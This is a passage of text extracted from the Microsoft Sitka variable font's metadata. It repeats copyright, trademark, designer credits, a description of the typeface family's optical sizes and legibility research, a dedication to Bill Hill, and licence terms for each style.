restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Subheading Semibold Subheading Semibold Sitka Subheading Sitka-Subheading-Semibold *SITKAVF-ITALIC.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Subheading Subheading Italic Sitka Subheading Italic Sitka-Subheading-Italic *SITKAVF.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Subheading Subheading Bold Sitka Subheading Bold Sitka-Subheading-Bold *SITKAVF-ITALIC.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Subheading Semibold Subheading Semibold Italic Sitka Subheading Semibold Italic Sitka Subheading Semibold Italic Sitka-Subheading-Semibold-Italic *SITKAVF-ITALIC.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Subheading Bold Italic Subheading Bold Italic Sitka Subheading Bold Italic Sitka-Subheading-Bold-Italic *SITKAVF.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Heading Sitka-Heading *SITKAVF.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Heading Semibold Heading Semibold Sitka Heading Sitka-Heading-Semibold *SITKAVF-ITALIC.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Heading Heading Italic Sitka Heading Italic Sitka-Heading-Italic *SITKAVF.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Heading Heading Bold Sitka Heading Bold Sitka-Heading-Bold *SITKAVF-ITALIC.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Heading Semibold Heading Semibold Italic Sitka Heading Semibold Italic Sitka Heading Semibold Italic Sitka-Heading-Semibold-Italic *SITKAVF-ITALIC.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Heading Bold Italic Heading Bold Italic Sitka Heading Bold Italic Sitka-Heading-Bold-Italic *SITKAVF.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Display Sitka-Display *SITKAVF.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Display Semibold Display Semibold Sitka Display Sitka-Display-Semibold *SITKAVF-ITALIC.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Display Display Italic Sitka Display Italic Sitka-Display-Italic *SITKAVF.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Display Display Bold Sitka Display Bold Sitka-Display-Bold *SITKAVF-ITALIC.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Display Semibold Display Semibold Italic Sitka Display Semibold Italic Sitka Display Semibold Italic Sitka-Display-Semibold-Italic *SITKAVF-ITALIC.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Display Bold Italic Display Bold Italic Sitka Display Bold Italic Sitka-Display-Bold-Italic *SITKAVF.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Banner Sitka-Banner *SITKAVF.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Banner Semibold Banner Semibold Sitka Banner Sitka-Banner-Semibold *SITKAVF-ITALIC.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Banner 